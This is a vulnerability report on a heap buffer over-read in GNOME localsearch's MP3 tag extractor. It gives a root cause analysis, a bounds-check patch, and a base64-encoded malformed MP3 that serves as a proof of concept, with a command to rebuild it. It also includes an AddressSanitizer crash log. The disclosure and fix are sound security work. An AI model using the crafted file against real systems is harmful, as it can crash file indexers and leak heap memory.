Vulnerability Report: Heap Buffer Overflow in GNOME localsearch MP3 Extractor (ID3v2.3 COMM Tags) Project: https://gitlab.gnome.org/GNOME/localsearch Component: tracker-extract-mp3 Vulnerability Type: Heap Buffer Overflow (Read) Description A heap buffer overflow vulnerability exists in the get_id3v23_tags function of src/extractor/tracker-extract-mp3.c when processing COMM (Comment) frames. The code incorrectly calculates the buffer offset without verifying if it exceeds the frame size, leading to an underflow in the length calculation passed to id3v2_text_to_utf8. This results in g_convert reading out of bounds. Root Cause Analysis The vulnerability is identical to the one found in extract_txxx_tags but located in the ID3V24_COMM case within get_id3v23_tags: // src/extractor/tracker-extract-mp3.c:1829 text_desc_len = id3v2_strlen (text_encode, text_desc, csize - 4); offset = 4 + text_desc_len + id3v2_nul_size (text_encode); // VULNERABILITY: No check if offset >= csize text = &data[pos + offset]; // If offset > csize, csize - offset underflows causing OOB read. word = id3v2_text_to_utf8 (text_encode, text, csize - offset, info); Impact Denial of Service: Reading unmapped memory causes a SIGSEGV. Information Disclosure: Potentially leaks heap data. Remediation Add a bounds check to ensure the calculated offset does not exceed the frame size. offset = 4 + text_desc_len + id3v2_nul_size (text_encode); + + if (offset >= csize) { + return; + } + text = &data[pos + offset]; /* <full text string according to encoding> */ PoC File (Base64) You can recreate the crash file by decoding this base64 string. MD5 Checksum: e80654459ea1f99ae34e774f144565a20851c746 base64 -d <<EOF > reproduction_comm.mp3 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 EOF ASAN_OPTIONS=detect_odr_violation=0 ./build/src/extractor/localsearch-extractor-3 --file reproduction_comm.mp3 Crash Log ==1779506==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000432ffc at pc 0x5f605a9c7eaf bp 0x7ffea6c57870 sp 0x7ffea6c57038 READ of size 3 at 0x502000432ffc thread T0 #0 0x5f605a9c7eae in strlen (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x8feae) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #1 0x780709cbdc57 in g_convert_with_iconv (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x39c57) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x780709cbdf81 in g_convert (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x39f81) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #3 0x5f605aa913e4 in convert_to_encoding /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:837:9 #4 0x5f605aa91bb5 in get_id3v23_tags /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:1832:10 #5 0x5f605aa8cdb3 in parse_id3v23 /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2494:4 #6 0x5f605aa8cdb3 in parse_id3v2 /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2627:3 #7 0x5f605aa8cdb3 in tracker_extract_get_metadata /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2708:17 #8 0x5f605aa89c0b in LLVMFuzzerTestOneInput /root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3.c:82:5 #9 0x5f605a997344 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x5f344) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #10 0x5f605a996a39 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool, bool*) (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x5ea39) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #11 0x5f605a998225 in fuzzer::Fuzzer::MutateAndTestOne() (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x60225) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #12 0x5f605a998d85 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile, std::allocator<fuzzer::SizedFile>>&) (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x60d85) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #13 0x5f605a98605f in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x4e05f) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #14 0x5f605a9b06e6 in main (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x786e6) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #15 0x78070982a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #16 0x78070982a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #17 0x5f605a97b044 in _start (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x43044) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) 0x502000432ffc is located 1 bytes after 11-byte region [0x502000432ff0,0x502000432ffb) allocated by thread T0 here: #0 0x5f605aa4b65d in calloc (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x11365d) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #1 0x780709ce7721 in g_malloc0 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x63721) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x5f605aa8f54b in un_unsync /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:767:17 #3 0x5f605aa8cd87 in parse_id3v23 /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2493:4 #4 0x5f605aa8cd87 in parse_id3v2 /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2627:3 #5 0x5f605aa8cd87 in tracker_extract_get_metadata /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2708:17 #6 0x5f605aa89c0b in LLVMFuzzerTestOneInput /root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3.c:82:5 #7 0x5f605a997344 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x5f344) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #8 0x5f605a996a39 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool, bool*) (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x5ea39) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #9 0x5f605a998225 in fuzzer::Fuzzer::MutateAndTestOne() (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x60225) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #10 0x5f605a998d85 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile, std::allocator<fuzzer::SizedFile>>&) (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x60d85) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #11 0x5f605a98605f in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x4e05f) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #12 0x5f605a9b06e6 in main (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x786e6) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #13 0x78070982a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #14 0x78070982a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #15 0x5f605a97b044 in _start (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x43044) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/targets/localsearch/tests/fuzz/fuzz_tracker_mp3+0x8feae) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) in strlen Shadow bytes around the buggy address: 0x502000432d00: fa fa fd fd fa fa fa fa fa fa fd fd fa fa 00 06 0x502000432d80: fa fa fd fd fa fa 00 06 fa fa fa fa fa fa 00 07 0x502000432e00: fa fa 00 06 fa fa 00 06 fa fa fa fa fa fa fa fa 0x502000432e80: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd 0x502000432f00: fa fa fa fa fa fa 00 05 fa fa fa fa fa fa fd fa =>0x502000432f80: fa fa fd fd fa fa fa fa fa fa fa fa fa fa 00[03] 0x502000433000: fa fa fa fa fa fa 00 03 fa fa fa fa fa fa 00 06 0x502000433080: fa fa fa fa fa fa fa fa fa fa 00 02 fa fa fd fa 0x502000433100: fa fa fa fa fa fa fd fa fa fa fd fd fa fa 00 01 0x502000433180: fa fa 06 fa fa fa fa fa fa fa 07 fa fa fa 00 06 0x502000433200: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1779506==ABORTING MS: 5 ChangeASCIIInt-ChangeByte-CrossOver-EraseBytes-CrossOver-; base unit: e80654459ea1f99ae34e774f144565a20851c746 artifact_prefix='./'; Test unit written to ./crash-13ba8413b56dc4c4727231bdc3616b733ad9ee4e